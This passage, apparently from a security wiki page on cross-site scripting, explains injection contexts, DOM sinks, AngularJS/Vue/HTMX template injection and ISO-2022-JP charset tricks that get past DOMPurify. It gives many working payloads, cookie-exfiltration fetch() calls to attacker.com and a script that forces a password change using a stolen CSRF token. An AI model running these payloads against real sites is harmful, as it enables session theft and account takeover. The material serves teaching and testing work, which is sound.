<strong>Payload: " onfocus=alert() autofocus x="
</strong>&#x3C;input value="" onfocus=alert() autofocus x="">
</code></pre>

### Script Injection

A special case is when the injection is found inside of a `<script>` tag. This may be done by developers when they want to give JavaScript access to some data, often JSON or a string, without requiring another request to fetch that data. When implemented without enough sanitization, however, this can be very dangerous as *tags* might not even be needed to reach XSS.

```html
<script>
    let a = "INJECTION_HERE";
</script>
```

As always, a possibility is simply closing the context and starting an [#html-injection](#html-injection "mention"), this is common in JSON stringifictions because while the string may be safe, you can still close the script tag:

<pre class="language-html"><code class="lang-html"><strong>Payload: &#x3C;/script>&#x3C;style onload=alert()>
</strong>&#x3C;script>
    let a = "&#x3C;/script>&#x3C;style onload=alert()>";
&#x3C;/script>
</code></pre>

If these `<` or `>` characters are blocked or encoded however, we need to be more clever. Similarly to [#attribute-injection](#attribute-injection "mention"), we can close only this **string**, and then write out arbitrary JavaScript code because are already in a `<script>` block. Using the `-` subtract symbol, JavaScript needs to evaluate both sides of the expression, and after seeing the empty `""` string, it will run the `alert()` function. Finally, we need to end with a comment to prevent `SyntaxError`s:

<pre class="language-html"><code class="lang-html"><strong>Payload: "-alert()//
</strong>&#x3C;script>
    let a = ""-alert()//"";
&#x3C;/script>
</code></pre>

Another special place you might find yourself injecting into is **template literals**, surrounded by `` ` `` backticks, which allow variables and expressions to be evaluated inside of the string. This opens up more possible syntax to run arbitrary JavaScript without even having to escape the string:

<pre class="language-html"><code class="lang-html"><strong>Payload: ${alert()}
</strong>&#x3C;script>
    let a = `${alert()}`;
&#x3C;/script>
</code></pre>

#### Double Injection `\` backslash trick

One last trick is useful when you **cannot escape** the string with just a `"` quote, but when you do have **two injections on the same line**.

<pre class="language-html" data-title="Failed attempt"><code class="lang-html"><strong>Payload 1: "-alert()//
</strong><strong>Payload 2: something
</strong>&#x3C;script>
    let a = {first: "&#x26;quot;-alert()//", second: "something"};
&#x3C;/script>
</code></pre>

The important piece of knowledge is that any character escaped using a `\` backslash character, which will interpret the character as data instead of code (see [here ](/languages/javascript#inside-a-string)for a table of all special backslash escapes).\
With this knowledge, we know a `\"` character will continue the string and not stop it. Therefore if we **end** our input with a `\` character, a `"` quote will be appended to it which would normally close the string, but because of our injection cause it to continue and mess up the syntax:

<pre class="language-html" data-title="Injection causes error"><code class="lang-html"><strong>Payload 1: anything\
</strong><strong>Payload 2: something
</strong>&#x3C;script>
    let a = {first: "anything\", second: "something"};
&#x3C;/script>
</code></pre>

The critical part here is that the 2nd string that would normally *start* the string is now *stopping the first* string instead. Afterwards, it switches to regular JavaScript context starting directly with our second input, which no longer needs to escape anything. If we now write valid JavaScript here, it will execute (note that we also have to *close the `}`*):

<pre class="language-html" data-title="Success"><code class="lang-html"><strong>Payload 1: anything\
</strong><strong>Payload 2: -alert()}//
</strong>&#x3C;script>
    let a = {first: "anything\", second: "-alert()}//"};
&#x3C;/script>
</code></pre>

#### Escaped `/` bypass using `<!--` comment

When injecting into a script tag that disallows quotes (`"`), you may quickly jump to injecting `</script>` to close the whole script tag and start a new one with your payload. If the `/` character is not allowed, however, you cannot close the script tag in this way.

Instead, we can abuse a lesser-known feature of script contents ([spec](https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements)), where for legacy reasons,\
a closing script tag (`</script>`) inside `<!--` doesn't actually close the current script. Note that this is in JavaScript syntax, and that this can occur anywhere, like inside of a string. Only once some later input closes the script tag an extra time does it actually close!\
This strange behavior occurs because ([source](https://htmlparser.info/parser/#script-states)):

> 1. Some pages assume they can use the string "`</script>`" inside a script if they enclose the script content in `<!-- … -->`, due to some previous parsing quirks of comment tags.
> 2. Other pages have `<!--` at the start of the script but forget `-->` from the end.

This can cause an interesting exploit as shown in the example below ([source](https://www.creds.nl/2024-07-18-overlooked-xss-vector), [another example](https://x.com/garethheyes/status/1813658752245236105)):

<pre class="language-html" data-title="Vulnerable"><code class="lang-html">&#x3C;script>
  console.log("<a data-footnote-ref href="#user-content-fn-1">INPUT1</a>");
&#x3C;/script>
&#x3C;input type="text" value="<a data-footnote-ref href="#user-content-fn-2">INPUT2</a>">
</code></pre>

<pre class="language-html" data-title="Exploit" data-line-numbers><code class="lang-html">&#x3C;script>
<strong>  console.log("&#x3C;!--&#x3C;script>");
</strong>&#x3C;/script>
<strong>&#x3C;input type="text" value="&#x3C;/script>&#x3C;script>alert()&#x3C;/script>">
</strong></code></pre>

Notice that the closing script tag on line 3 doesn't close it anymore, but instead, only after closing it a second time inside of the attribute. We are then in an HTML context and can write any XSS payload without double-quotes!

{% hint style="info" %}
For more advanced tricks and pitfalls, check out the [JavaScript](/languages/javascript) page.
{% endhint %}

### DOM XSS

This is slightly different than previous "injection" ideas and is more focused on what special syntax can make certain "sinks" execute JavaScript code.

{% embed url="<https://github.com/wisec/domxsswiki/wiki>" %}
Big and up-to-date collection of DOM XSS sources, sinks and techniques
{% endembed %}

The **D**ocument **O**bject **M**odel (DOM) is JavaScript's view of the HTML on a page. To create complex logic and interactivity with elements on the page there are some functions in JavaScript that allow you to interact with it. As a simple example, the `document.getElementById()` function can find an element with a specific `id=` attribute, on which you can then access properties like `.innerHTML`:

```html
<p id="hello">Hello, <b>world</b>!</p>
<script>
    let element = document.getElementById("hello");
    console.log(element.innerHTML);  // "Hello, <b>world</b>!"
</script>
```

**DOM XSS** is where an attacker can abuse the interactivity with HTML functions from within JavaScript by providing *sources* that contain a payload, which end up in *sinks* where a payload may trigger. A common example is setting the `.innerHTML` property of an element, which replaces all HTML children of that element with the string you set. If an attacker controls any part of this without sanitization, they can perform [#html-injection](#html-injection "mention") just as if it was reflected by the server. A payload like the following would instantly trigger an `alert()`:

```html
<p id="hello">Hello, world!</p>
<script>
    let element = document.getElementById("hello");
    element.innerHTML = "<img src onerror=alert()>";
</script>
```

Sources are where data comes from, and there are many for JavaScript. There might be a URL parameter from [`URLSearchParams`](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/URLSearchParams) that is put in some HTML code, `location.hash` for `#...` data after a URL, simply a `fetch()`, `document.referrer`, and even `"message"` listeners which allow [`postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) communication between origins.

When any of this controllable data ends up in a sink without enough sanitization, you might have an XSS on your hands. Just like contexts, different sinks require different payloads. A `location =` sink for example, can be exploited using the `javascript:alert()` protocol to evaluate the code, and an `eval()` sink could require escaping the context like in [#script-injection](#script-injection "mention").

{% hint style="info" %}
**Note**: A special less-known property is `window.name` which is surprisingly also cross-origin writable. If this value is used in any sink, you can simply open it in an iframe or window like shown below and set the `.name` property on it!
{% endhint %}

#### JQuery - `$()`

A special case is made for JQuery as it is still to this day a popular library used by many applications to ease DOM manipulation from JavaScript. The `$()` selector can find an element on the page with a similar syntax to the more verbose but native `document.querySelector()` function (CSS Selectors). It would make sense that these selectors would be safe, but if unsanitized **user input** finds its way into the selector string of this `$` function, it will actually lead to XSS as `.innerHTML` is used under the hood!

A snippet like the following was very commonly exploited ([source](https://portswigger.net/web-security/cross-site-scripting/dom-based#dom-xss-in-jquery)):

<pre class="language-javascript" data-title="Old vulnerable example"><code class="lang-javascript">$(window).on('hashchange', function() {
<strong>    var element = $(location.hash);
</strong>    element[0].scrollIntoView();
});
</code></pre>

Here the `location.hash` *source* is put into the vulnerable *sink*, which is exploitable with a simple `#<img src onerror=alert()>` payload. In the snippet, this is called on the [`hashchange`](https://developer.mozilla.org/en-US/docs/Web/API/Window/hashchange_event) event it is not yet triggered on page load, but only after the hash has *changed*. In order to exploit this, we need to load the page normally first, and then after some time when the page has loaded we can replace the URL of the active window which will act as a "change". Note that **reading** a location is not allowed cross-origin, but **writing** a new location is, so we can abuse this.

If the target allows being iframed, a simple way to exploit this is by loading the target and changing the `src=` attribute after it loads:

{% code title="Using iframe" %}

```html
<iframe src="https://target.com/#" onload="this.src+='<img src onerror=alert()>'">
```

{% endcode %}

Otherwise, you can still load and change a URL by `open()`'ing it in a new window, waiting some time, and then changing the location of the window you held on to (note that the [`open()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) method requires user interaction like an `onclick=` handler to be triggered):

{% code title="Using window" %}

```html
<button onclick=start()>Start</button>
<script>
    function start() {  // Open a new tab
        let target = open("https://target.com/#");
        setTimeout(function () {  // Wait for target to load
            target.location = "https://target.com/#<img src onerror=alert()>";
        }, 2000);
    }
</script>
```

{% endcode %}

Important to note is that the vulnerable code above with `$(location.hash)` above is **not vulnerable anymore** with recent versions of JQuery because an extra rule was added that selectors *starting* with `#` are *not* allowed to have HTML, but **anything else is still vulnerable**. A snippet like below will still be vulnerable in modern versions because it is not prefixed with `#`, and it URL decodes the payload allowing the required special characters. Context does not matter here, simply `<img src onerror=alert()>` anywhere in the selector will work.

{% code title="Modern vulnerable example" %}

```javascript
let hash = decodeURIComponent(window.location.hash.slice(1));
$(`h2:contains(${hash})`);
```

{% endcode %}

JQuery also has many other methods and CVEs if malicious input ends up in specific functions. Make sure to check all functions your input travels through for possible DOM XSS.

#### Triggers (HTML sinks)

1. <pre class="language-javascript" data-title=".innerHTML"><code class="lang-javascript">let div = document.createElement("div")
   div.innerHTML = "&#x3C;img src onerror=alert()>"
   </code></pre>
2. <pre class="language-javascript" data-title=".innerHTML + DOM"><code class="lang-javascript">let div = document.createElement("div")
   document.body.appendChild(div)
   div.innerHTML = "&#x3C;img src onerror=alert()>"
   </code></pre>
3. <pre class="language-javascript" data-title="write()"><code class="lang-javascript">document.write("&#x3C;img src onerror=alert()")
   </code></pre>
4. <pre class="language-javascript" data-title="open() write() close()"><code class="lang-javascript">document.open()
   document.write("&#x3C;img src onerror=alert()")
   document.close()
   </code></pre>

When placing common XSS payloads in the triggers above, it becomes clear that they are not all the same. Most notably, the `<img src onerror=alert()>` payload is the most universal as it works in every situation, even when it is not added to the DOM yet. The common and short `<svg onload=alert()>` payload is interesting as it is only triggered via `.innerHTML` on Chrome, and not Firefox. Lastly, the `<script>` tag does not load when added with `.innerHTML` at all.

<figure><img src="/files/wPrCDqjU6nKJMWhYV1jo" alt=""><figcaption><p>Table of XSS payloads and DOM sinks that trigger them (<mark style="color:yellow;">yellow</mark> = Chrome but not Firefox)</p></figcaption></figure>

> ***Source code** for script used to generate and **test** the results in the table above:*\
> <https://gist.github.com/JorianWoltjer/286e4f90cfb9b384afc09c02ec9b1abf>

### Client-Side Template Injection

Templating frameworks help fill out HTML with user data and try to make interaction easier. While this often helps with auto-escaping special characters, it can hurt in some other ways when the templating language itself can be injected without HTML tags, or using normally safe HTML that isn't sanitized.

#### [AngularJS](https://docs.angularjs.org/guide/templates)

AngularJS is a common web framework for the frontend. It allows easy interactivity by adding special attributes and syntax that it recognizes and executes. This also exposes some new ways for HTML/Text injections to execute arbitrary JavaScript if regular ways are blocked. One caveat is that all these injections need to happen inside an element with an `ng-app` attribute to enable this feature.

When this is enabled, however, many possibilities open up. One of the most interesting is template injection using `{{` characters inside a text string, no HTML tags are needed here! This is a rather well-known technique though, so it may be blocked. In cases of HTML injection with strong filters, you may be able to add custom attributes bypassing filters like [DOMPurify](https://github.com/cure53/DOMPurify). See [this presentation by Masato Kinugawa](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=33) for some AngularJS tricks that managed to bypass Teams' filters.

Here are a few examples of how it can be abused on the latest version. All alerts fire on load:

<pre class="language-html"><code class="lang-html">&#x3C;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js">&#x3C;/script>

&#x3C;body ng-app>
<strong>  &#x3C;!-- Text injection -->
</strong>  {{constructor.constructor('alert(1)')()}}
<strong>  &#x3C;!-- Attribute injection -->
</strong>  &#x3C;ANY ng-init="constructor.constructor('alert(2)')()">&#x3C;/ANY>
<strong>  &#x3C;!-- Filter bypass (even DOMPurify!) -->
</strong>  &#x3C;ANY data-ng-init="constructor.constructor('alert(3)')()">&#x3C;/ANY>
  &#x3C;ANY class="ng-init:constructor.constructor('alert(4)')()">&#x3C;/ANY>
  &#x3C;ANY class="AAA;ng-init:constructor.constructor('alert(5)')()">&#x3C;/ANY>
  &#x3C;ANY class="AAA!ng-init:constructor.constructor('alert(6)')()">&#x3C;/ANY>
  &#x3C;ANY class="AAA♩♬♪ng-init:constructor.constructor('alert(7)')()">&#x3C;/ANY>
<strong>  &#x3C;!-- Dynamic content insertion also vulnerable (only during load) -->
</strong>  &#x3C;script>
    document.body.innerHTML += `&#x3C;ANY ng-init="constructor.constructor('alert(8)')()">&#x3C;/ANY>`;
  &#x3C;/script>
&#x3C;/body>
<strong>&#x3C;!-- Everything also works under `data-ng-app`, fully bypassing DOMPurify! -->
</strong>&#x3C;div data-ng-app>
  ...
  &#x3C;b data-ng-init="constructor.constructor('alert(9)')()">&#x3C;/b>
&#x3C;/div>
</code></pre>

In some older versions of AngularJS, there was a sandbox preventing some of these arbitrary code executions. Every version has been bypassed, however, leading to how it is now without any sandbox. See the following page for a history of these older sandboxes:

{% embed url="<https://portswigger.net/research/dom-based-angularjs-sandbox-escapes>" %}
Escape different AngularJS version sandboxes
{% endembed %}

{% hint style="warning" %}
**Warning**:

**Newer versions** of *Angular (v2+)* instead of *AngularJS (v1)* are not vulnerable in this way.\
Read more about this in [Angular](/web/frameworks/angular).
{% endhint %}

{% hint style="info" %}
**Note**: Injecting content with `.innerHTML` does not always work, because it is only triggered *when AngularJS loads*. If you inject content later from a fetch, for example, it would not trigger even if a parent contains `ng-app`.

You may still be able to exploit this by slowing down the AngularJS script loading by **filling up the browser's connection pool**. [See this challenge writeup for details](https://blog.ryotak.net/post/dom-based-race-condition/).
{% endhint %}

#### [VueJS](https://vuejs.org/guide/essentials/template-syntax.html)

```html
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>

<div id="app">
  <p>{{this.constructor.constructor('alert(1)')()}}</p>
  <p>{{this.$el.ownerDocument.defaultView.alert(2)}}</p>
</div>
<script>
  new Vue({
    el: "#app",
  });
</script>
```

{% embed url="<https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets>" %}
Detailed research into VueJS payloads and filter bypasses
{% endembed %}

#### [HTMX](https://htmx.org/docs/)

<pre class="language-html"><code class="lang-html">&#x3C;script src="https://unpkg.com/htmx.org@1.9.12">&#x3C;/script>

<strong>&#x3C;!-- Old syntax, simple eval -->
</strong>&#x3C;img src="x" hx-on="error:alert(1)" />
<strong>&#x3C;!-- Normally impossible elements allow injecting JavaScript into eval'ed function! -->
</strong>&#x3C;meta hx-trigger="x[1)}),alert(2);//]" />
&#x3C;div hx-disable>
<strong>  &#x3C;!-- Inside hx-disable, new syntax still works -->
</strong>  &#x3C;img src="x" hx-on:error="alert(3)" />
<strong>  &#x3C;!-- Everything can be prefixed with data-, bypassing DOMPurify! -->
</strong>  &#x3C;img src="x" data-hx-on:error="alert(4)" />
&#x3C;/div>
</code></pre>

### Alternative Charsets

{% embed url="<https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/>" %}
Source explaining XSS tricks when a charset definition is missing from a response, abusing ISO-2022-JP
{% endembed %}

{% hint style="info" %}
**Note**: In this section, some ESC characters are replaced with `\x1b` for clarity. You can copy a real ESC control character from the code block below:

<pre><code><strong>
</strong></code></pre>

{% endhint %}

If a response contains *any* of the following two lines, it is *safe* from the following attack.

<pre class="language-http" data-title="Safe"><code class="lang-http"><strong>Content-Type: text/html; charset=utf-8
</strong>...
<strong>&#x3C;meta charset="UTF-8">
</strong></code></pre>

If this charset is missing, however, things get interesting. Browsers **automatically detect encodings** in this scenario. The ISO-2022-JP encoding has the following special escape sequences:

<table><thead><tr><th width="195">Escape Sequence</th><th width="164">Copy</th><th>Meaning</th></tr></thead><tbody><tr><td><code>\x1b(B</code></td><td><pre><code>(B
</code></pre></td><td>switch to <em>ASCII</em> (default)</td></tr><tr><td><code>\x1b(J</code></td><td><pre><code>(J
</code></pre></td><td>switch to <em>JIS X 0201 1976</em> (backslash swapped)</td></tr><tr><td><code>\x1b$@</code></td><td><pre><code>$@
</code></pre></td><td>switch to <em>JIS X 0201 1978</em> (2 bytes per char)</td></tr><tr><td><code>\x1b$B</code></td><td><pre><code>$B
</code></pre></td><td>switch to <em>JIS X 0201 1983</em> (2 bytes per char)</td></tr></tbody></table>

These sequences can be used at any point in the HTML context (not JavaScript) and instantly switch how the browser maps bytes to characters. *JIS X 0201 1976* is almost the same as ASCII, except for `\` being replaced with `¥`, and `~` replaced with `‾`.

<figure><img src="/files/QcPgCiTqZQCTsZf0mq2M" alt="" width="479"><figcaption><p>Table showing mapping from byte to character in <em>JIS X 0201 1976</em></p></figcaption></figure>

#### 1. Negating Backslash Escaping

For the first attack, we can make `\` characters useless after having written `\x1b(J`. Strings inside `<script>` tags are often protected by escaping quotes with backslashes, so this can bypass such protections:

<figure><img src="/files/Tm5p4WXjl3fGjqEDAJX0" alt="" width="563"><figcaption><p>1. Input in HTML (search) and JavaScript string (lang) escaped correctly</p></figcaption></figure>

<figure><img src="/files/JGOBfEdL3r2lYndVPzJu" alt="" width="563"><figcaption><p>2. Bypass using <em>JIS X 0201 1976</em> escape sequence in search, ignoring backslashes and escaping with quote</p></figcaption></figure>

```html
You searched for: (J
<script>
  var language = "en\";alert(1)//";
</script>
```

#### 2. Breaking HTML Context

The *JIS X 0201 1978* and *JIS X 0201 1983* charsets are useful for a different kind of attack. They turn sequences of 2 bytes into 1 character, effectively obfuscating any characters that would normally come after it. This continues until another escape sequence to reset the encoding is encountered like switching to *ASCII*.

An example is if you have control over some value in an attribute that is later closed with a double quote (`"`). By inserting this switching escape sequence, the succeeding bytes including this closing double quote will become invalid Unicode, and lose their meaning.

<figure><img src="/files/tAZqcnKjijQhanPo7zNZ" alt="" width="563"><figcaption><p>In markdown, our image alt text ends up in the <code>&#x3C;img alt=</code> attribute</p></figcaption></figure>

<figure><img src="/files/R3urcPuerNCRCFxqbCTc" alt="" width="563"><figcaption><p>Writing the <em>JIS X 0201 1978</em> escape sequence obfuscates the succeeding characters</p></figcaption></figure>

By later in a **different context** ending the obfuscation with a reset to *ASCII* escape sequence, we will still be in the attribute context for HTML's sake. The text that was sanitized as text before, is now put into an attribute which can cause all sorts of issues.

<figure><img src="/files/zPoBGk4sWHmp2CFd1gTd" alt="" width="563"><figcaption><p>Text in markdown ends obfuscation using <em>ASCII</em> escape sequence, continuing the attribute</p></figcaption></figure>

With the next image tag being created, it creates an unexpected scenario where the opening tag is actually still part of the attribute, and the opening of its first attribute instead closes the existing one.

<figure><img src="/files/WlM05Yypxio7Jt5FwtUw" alt="" width="563"><figcaption><p>Later image tag still part of the exploited attribute, only closed after trying to open first attribute</p></figcaption></figure>

The `1.png` string is now syntax-highlighted as <mark style="color:red;">red</mark>, meaning it is now the **name of an attribute** instead of a value. If we write `onerror=alert(1)//` here instead, a malicious attribute is added that will execute JavaScript without being sanitized:

<figure><img src="/files/MSni7lPquKqUjEmRXnu8" alt="" width="563"><figcaption><p>Adding malicious attribute after context confusion creates successful XSS payload</p></figcaption></figure>

{% hint style="info" %}
**Note**: It is *not possible* to abuse *JIS X 0201 1978* or *JIS X 0201 1983* (2 bytes per char) encoding to write arbitrary ASCII characters instead of Unicode garbage. Only some Japanese characters and ASCII full-width alternatives can be created ([source](https://en.wikipedia.org/wiki/JIS_X_0208)), except for two unique cases that can generate a `$` and `(` character found using this fuzzer:\
<https://shazzer.co.uk/vectors/66efda1eacb1e3c22aff755c>
{% endhint %}

This technique can also trivially **bypass any server-side** XSS protection (eg. DOMPurify) such as in the following challenge:

<https://gist.github.com/kevin-mizu/9b24a66f9cb20df6bbc25cc68faf3d71>

{% code title="Payload" %}

```html
<img src="src\x1b$@">text\x1b(B<img src="onerror=alert()//">
```

{% endcode %}

The missing charset behavior may be common in **file uploads**, and [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) URLs which are created by explicitly writing a content type in JavaScript. Developers often forget the charset:

```javascript
const html = `<img src="src\x1b$@">text\x1b(B<img src="onerror=alert(origin)//">`;
const blob = new Blob([html], { type: "text/html" });  // missing charset here
window.open(URL.createObjectURL(blob));  // opened in another top-level context
```

Not in all context will the charset be heuristically detected. The *top-most same-origin frame* will decide, so if the above blob URL was iframed, for example, the exploit wouldn't work. This is because the parent frame's charset will be inherited by the iframe, it won't be detected again.

#### Browser charset detection

The detection mechanism also differs per browser. In Chrome, you just need to convince the detection by having enough escape sequences, [as noticed experimentally](https://x.com/J0R1AN/status/1871586792455163975). Firefox is more logical in that the decoded string needs to all be valid mapped characters. Most are, but some byte combinations in ASCII turn into invalid unicode in the 2-wide charset variations. That means you must be careful with which characters you choose, but sometimes shifting the length by 1 can push them into the mapped territory again by chance.

For example, the following vector which would bypass DOMPurify without any attributes:

{% code title="Chrome only" %}

```html
\x1b$B<style>\x1b(B<\x1b(Bimg src=x onerror=alert(origin)></style>
```

{% endcode %}

While [it works on Chrome](https://r.jtw.sh/poc.html?body=%1B%24B%3Cstyle%3E%1B%28B%3C%1B%28Bimg+src%3Dx+onerror%3Dalert%28origin%29%3E%3C%2Fstyle%3E), it does *not* on Firefox. The reason for this, is that if we decode it, `�` characters appear. We need to alter the payload in such a way that everything in the output has a valid codepoint instead of this replacement character.

```javascript
d = new TextDecoder("ISO-2022-JP");
e = new TextEncoder("UTF-8");
s = `\x1b$B<style>\x1b(B<\x1b(Bimg src=x onerror=alert(origin)></style>`;
console.log(d.decode(e.encode(s)));
// '首�跂�<img src=x onerror=alert(origin)></style>'
```

The 2-wide charset region starts from `\x1b$B` and ends at `\x1b(B`. The bytes are divided as `<s` `ty` `le` `>`, of which both `ty` and `>` don't map to valid characters in *JIS X 0201 1978*. But, we can simply put an `a` in front it to create chunks like `a<` `st` `yl` `e>`, which all happen to be valid characters! A [working payload for Firefox](https://r.jtw.sh/poc.html?body=%1B%24Ba%3Cstyle%3E%1B%28B%3C%1B%28Bimg+src%3Dx+onerror%3Dalert%28origin%29%3E%3C%2Fstyle%3E) would thus be:

{% code title="Working on Firefox" %}

```html
\x1b$Ba<style>\x1b(B<\x1b(Bimg src=x onerror=alert(origin)></style>
```

{% endcode %}

For a searchable list of all characters that do and don't work, see [this gist](https://gist.github.com/JorianWoltjer/7faca2472e8835ba6b493f1a00880bd6).

## Exploitation

Making an `alert()` pop up is cool, but to show the impact it might be necessary to exploit what an XSS or JavaScript execution gives you. The summary is that you can do almost everything a user can do themselves, but do this for them. You can click buttons, request pages, post data, etc. which open up a large field of impact, depending on what an application lets the user do.

### From another site

The *Cross-Site* in XSS means that it should be exploitable from another malicious site, which can then perform actions on the victim's behalf on the target site. It is always a good idea to test exploits locally first with a simple web server like `php -S 0.0.0.0:8000`, and when you need to exploit something remotely it can be hosted temporarily with a tool like [ngrok](https://ngrok.com/), or permanently with a web server of your own.

The easiest is **Reflected XSS**, which should trigger when a specific URL is triggered. If someone visits your page, you can simply redirect them to the malicious URL with any payload to trigger the XSS:

{% code title="Example attacker page" %}

```html
<script>
    location = "https://target.com/endpoint?xss=<style onload=alert()>"
</script>
```

{% endcode %}

{% hint style="info" %}
Note that [URL Encoding](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(true\)\&input=PHN0eWxlIG9ubG9hZD1hbGVydCgpPg) might be needed on parameters to make sure special characters are not part of the URL, or to simply obfuscate the payload
{% endhint %}

For **Stored XSS**, a more likely scenario might be someone else stumbling upon the payload by using the site normally, but if the location is known by the attacker they can also redirect a victim to it in the same way as Reflected XSS as shown above.

Some exploits require more complex interaction between the attacker and the target site, like `<iframe>`'ing (only if [#content-security-policy-csp](#content-security-policy-csp "mention") and `X-Frame-Options` allows) or opening windows (only when handling user interaction like pressing a button with `onclick=`).

### Stealing Cookies

In the early days of XSS, this was often the target vector for exploitation, as session cookies could be stolen and exfiltrated to an attacker to later impersonate them on demand. This is done with the `document.cookie` variable that contains all cookies as a string. Then using `fetch()` a request containing this data can be made to the attacker's server to read remotely:

```javascript
fetch("http://attacker.com/leak?cookie=" + document.cookie)
```

Pretty often, however, modern frameworks will set the `httpOnly` flag on cookies which means they will **not** be available for JavaScript, only when making HTTP requests. This `document.cookie` variable will simply not contain the cookie that the flag is on, meaning it cannot be exfiltrated directly. But the possibilities do not end here, as you can still **make requests** using the cookies from within JavaScript, just not directly read them.

{% hint style="warning" %}
In very restricted scenarios you might not be able to make an outbound connection due to the `connect-src` [#content-security-policy-csp](#content-security-policy-csp "mention") directive. See that chapter for ideas on how to still exfiltrate data
{% endhint %}

### Forcing requests - `fetch()`

When making a `fetch()` request to the same domain you are on, cookies are *included*, even if `httpOnly` is set. This opens up many possibilities by requesting data and performing actions on the application. When making a request, the response is also readable because of the [Same-Origin Policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy), as we are on the same site as the request is going to.

One idea to still steal cookies would be to request a page that responds with the cookie information in some way, like a debug or error page. You can then request this via JavaScript `fetch()` and exfiltrate the response:

{% code title="Payload" %}

```javascript
fetch("http://target.com/debug")  // Perform request
    .then(res => res.text())      // Read response as text
    .then(res => fetch("http://attacker.com/leak?" + res));
```

{% endcode %}

{% code title="Logs of attacker.com" %}

```log
"GET /leak?session=... HTTP/1.1" 404 -
```

{% endcode %}

{% hint style="info" %}
**Tip**: For more complex data, you can use `btoa(res)` to Base64 encode the data which makes sure no special characters are included, which you can later decode
{% endhint %}

A more common way of exploitation is by requesting personal data from a settings page or API route, which works in a very similar way as shown above.

#### Performing actions

Performing actions on the victim's behalf can is also common and can result in a high impact, depending on their capabilities. These are often done using POST requests and may contain extra data or special headers. Luckily, [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) allows us to do all that and more! Its second argument contains `options` with keys like `method:`, `headers:`, and `body:` just to name a few:

{% code title="Payload" %}

```javascript
fetch("http://target.com/api/change_password", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-Custom-Header": "anything"
    },
    body: JSON.stringify({
        "password": "hacked",
        "confirm_password": "hacked"
    })
})
```

{% endcode %}

{% code title="HTTP Request" %}

```http
POST /api/change_password HTTP/1.1
Host: target.com
Cookie: session=...
X-Custom-Header: anything
Content-Type: application/json
Content-Length: 49

{"password":"hacked","confirm_password":"hacked"}
```

{% endcode %}

Due to `fetch()` only being a simple function call, you can create a very complex sequence of actions in JavaScript code to execute on the victim, as some actions require some setup. You could create an API token using one request, and then use it in the next to perform some API call. Or a more common example is fetching a [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf) token from some form, and then using that token to POST data if it is protected in that way. As you can see, CSRF tokens do *not* protect against XSS:

```javascript
fetch("http://target.com/login")  // Request to some form with CSRF token
    .then(res => res.text())
    .then(res => {
        // Extract CSRF token
        const csrf_token = res.match(/<input type="hidden" name="csrf_token" value="(.*)" \/>/)[1];
        // Build password reset form data
        const form = new FormData();
        form.append("csrf_token", csrf_token);
        form.append("password", "hacked");
        form.append("confirm_password", "hacked");

        // Perform another request with leaked token
        fetch("http://target.com/change_password", {
            method: "POST",
            body: form
        });
    });
```

{% hint style="info" %}
**Tip**: If there is no CSRF token, you may also be able to send `SameSite=Strict` cookies from another subdomain that you have XSS on to a target, because the are considered same-site. Read more about this in [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf).
{% endhint %}

### HTML Injection

With JavaScript execution, you can also perform all tricks explained in the page below. With impact like leaking the current URL, content on the page, or phishing password managers:

{% content-ref url="/pages/TPP9qH7lQ74LNCeeuTZr" %}
[HTML Injection](/web/client-side/cross-site-scripting-xss/html-injection)
{% endcontent-ref %}

Some of the mentioned phishing tricks can be improved with XSS by rewriting the URL shown in the address bar. This is possible with the [History API](https://developer.mozilla.org/en-US/docs/Web/API/History_API), to show the user an expected `/login` or something:

```javascript
history.replaceState(null, null, "/login");
```

## Protections

XSS is a well-known issue, and many protections try to limit its possibility on websites. There are basically two cases a website needs to handle when reflecting a user's content:

1. Content, but **no HTML** is allowed (almost all data)
2. **Limited HTML tags** are allowed (rich text like editors)

The **1st** is very easily protected by using HTML Encoding. Many frameworks already do this by default, and explicitly have you write some extra code to turn it off. Most often this encodes only the special characters like `<` to `&lt;`, `>` to `&gt;`, and `"` to `&quot;`. While this type of protection is completely safe in most cases, some situations exist where these specific characters are *not required* to achieve XSS. We've seen examples of [#attribute-injection](#attribute-injection "mention") where a `'` single quote is used instead, which may not be encoded and thus can be escaped. Or when your attribute is not enclosed at all and a simple space character can add another malicious attribute. With [#script-injection](#script-injection "mention") this is a similar story, as well as [#dom-xss](#dom-xss "mention").

The **2nd** case is *very hard* to protect securely. First, because many tags have unexpected abilities, like the `<a href=javascript:alert()>` protocol. If posting links is allowed, they need to think about preventing the `javascript:` protocol specifically and allowing regular `https://` links. There exist a ton of different tags and attributes that can execute JavaScript (see the [Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) making a blocklist almost infeasible, and an allowlist should be used.\
The second reason this is hard is because browsers are *weird*, like *really weird*. The [HTML Specification](https://html.spec.whatwg.org/) contains a lot of rules and edge cases a filter should handle. If a filter parses a specially crafted payload differently from a browser, the malicious data might go unnoticed and end up executing in the victim's browser.

One common protection is a `Content-Security-Policy:` response header, which can protect against various client-side attacks by restricting what researches may be "trusted" and executed:

{% content-ref url="/pages/VWzKtXk8syAguhuJ1sNB" %}
[Content-Security-Policy (CSP)](/web/client-side/cross-site-scripting-xss/content-security-policy-csp)
{% endcontent-ref %}

### Filter Bypasses

Some of the most useful and common filter bypasses are shown in [#common-filter-bypasses](#common-filter-bypasses "mention").

If a server is checking your input for suspicious strings, they will have a hard time as there are many ways to obfuscate your payloads. Even a simple `<a href=...>` tag has many places where the browser allows special and unexpected characters, which may break the pattern the server is trying to search for. Here is a clear diagram showing *where* you can insert *what* characters:

